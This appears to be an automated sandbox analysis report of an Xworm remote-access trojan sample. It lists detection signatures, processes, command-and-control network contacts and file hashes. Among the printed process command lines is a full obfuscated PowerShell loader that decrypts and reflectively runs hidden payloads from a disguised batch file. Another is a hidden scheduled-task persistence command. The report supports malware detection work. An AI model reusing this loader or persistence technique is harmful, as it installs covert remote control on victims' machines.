Analysis Overview
SHA256
d8f808e425c141619646fb187a9a402394c59459da06df287b88fd977fae5df5
Threat Level: Known bad
The file Classic_Tag (1).zip was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-29 19:53
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-29 19:53
Reported
2024-05-29 19:55
Platform
win11-20240419-en
Max time kernel
148s
Max time network
151s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Classic_Tag\APK_Installer.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mPwRBm9qXJoyRc9bqNC0u+iAvpHRjwzR0xhhmQKq+YY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('T+n2u+f+rr7kGOYnZCk7cA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pNaoh=New-Object System.IO.MemoryStream(,$param_var); $QcgRK=New-Object System.IO.MemoryStream; $LEpGH=New-Object System.IO.Compression.GZipStream($pNaoh, [IO.Compression.CompressionMode]::Decompress); $LEpGH.CopyTo($QcgRK); $LEpGH.Dispose(); $pNaoh.Dispose(); $QcgRK.Dispose(); $QcgRK.ToArray();}function execute_function($param_var,$param2_var){ $kvhNG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ExMXI=$kvhNG.EntryPoint; $ExMXI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Classic_Tag\APK_Installer.bat';$Dgxmx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Classic_Tag\APK_Installer.bat').Split([Environment]::NewLine);foreach ($vYgMU in $Dgxmx) { if ($vYgMU.StartsWith(':: ')) { $IglnE=$vYgMU.Substring(3); break; }}$payloads_var=[string[]]$IglnE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_341_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_341.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_341.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_341.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mPwRBm9qXJoyRc9bqNC0u+iAvpHRjwzR0xhhmQKq+YY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('T+n2u+f+rr7kGOYnZCk7cA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pNaoh=New-Object System.IO.MemoryStream(,$param_var); $QcgRK=New-Object System.IO.MemoryStream; $LEpGH=New-Object System.IO.Compression.GZipStream($pNaoh, [IO.Compression.CompressionMode]::Decompress); $LEpGH.CopyTo($QcgRK); $LEpGH.Dispose(); $pNaoh.Dispose(); $QcgRK.Dispose(); $QcgRK.ToArray();}function execute_function($param_var,$param2_var){ $kvhNG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ExMXI=$kvhNG.EntryPoint; $ExMXI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_341.bat';$Dgxmx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_341.bat').Split([Environment]::NewLine);foreach ($vYgMU in $Dgxmx) { if ($vYgMU.StartsWith(':: ')) { $IglnE=$vYgMU.Substring(3); break; }}$payloads_var=[string[]]$IglnE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | looking-memphis.gl.at.ply.gg | udp |
| US | 147.185.221.18:45119 | looking-memphis.gl.at.ply.gg | tcp |
| US | 147.185.221.18:45119 | looking-memphis.gl.at.ply.gg | tcp |
| US | 147.185.221.18:45119 | looking-memphis.gl.at.ply.gg | tcp |
| US | 147.185.221.18:45119 | looking-memphis.gl.at.ply.gg | tcp |
| US | 147.185.221.18:45119 | looking-memphis.gl.at.ply.gg | tcp |
Files
memory/3748-0-0x00007FFE59E73000-0x00007FFE59E75000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qzdthy1z.tr2.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3748-9-0x00000219F5D40000-0x00000219F5D62000-memory.dmp
memory/3748-10-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp
memory/3748-11-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp
memory/3748-12-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp
memory/3748-13-0x00000219F5D30000-0x00000219F5D38000-memory.dmp
memory/3748-14-0x00000219F5FC0000-0x00000219F5FF2000-memory.dmp
memory/1088-16-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp
memory/1088-22-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp
memory/1088-26-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp
memory/1088-27-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp
memory/1088-30-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 15e6a6ad7449b207c2e2297fc46c1202 |
| SHA1 | f24bcd0fb7dfb3eb0edfc0baa24935e58198f7b8 |
| SHA256 | c4766d320a8ed000eef6daf1f405c0798317f65a87c089807af79c90c10f607d |
| SHA512 | ed6013053d43a904a0904c2c6d221fef8578963c5ec7156dc10cad53fce11ea84584175410c2a2ce30aede709c37f5a5dfbe2878ec6dee76c36fea58e45ed236 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | df472dcddb36aa24247f8c8d8a517bd7 |
| SHA1 | 6f54967355e507294cbc86662a6fbeedac9d7030 |
| SHA256 | e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6 |
| SHA512 | 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca |
C:\Users\Admin\AppData\Roaming\startup_str_341.vbs
| MD5 | 0d6636334f416030759f0ac7d6cf20e3 |
| SHA1 | 1d0d325ba58823835666cb00ffd61728b7e6119c |
| SHA256 | d1e31f2f01d4fb5a7abeea57d5e3c62523c0a66c683d96ebbfcc1d249a73b649 |
| SHA512 | 8446823a045037e101b0e61806c2c099aab804f60adbc85a6e306973cefde1c26e14bf49480b14dc24f71ba8e5ac435d7a5073c952b0a134ab90488c670b7d76 |
C:\Users\Admin\AppData\Roaming\startup_str_341.bat
| MD5 | 63314994ebe02008490fdfefa0d57511 |
| SHA1 | 704c26daec5cbed1e7378952699ceebc60e99218 |
| SHA256 | 44a89e1a91362387bc0a2a405ee2f13ae33c0b74a6cec88a0c7b5228c0839fc7 |
| SHA512 | 6c1f4c40ee3c4812f3035d5685ce0aeaa934739a8b58998201673c00d81461031dc6794ebe9c99214c640f09b6cb6b36adf5c994c8408ae1286336deb646bb04 |
memory/3256-48-0x000001855ECD0000-0x000001855ECDE000-memory.dmp
memory/3748-49-0x00007FFE59E73000-0x00007FFE59E75000-memory.dmp
memory/3748-50-0x00007FFE59E70000-0x00007FFE5A932000-memory.dmp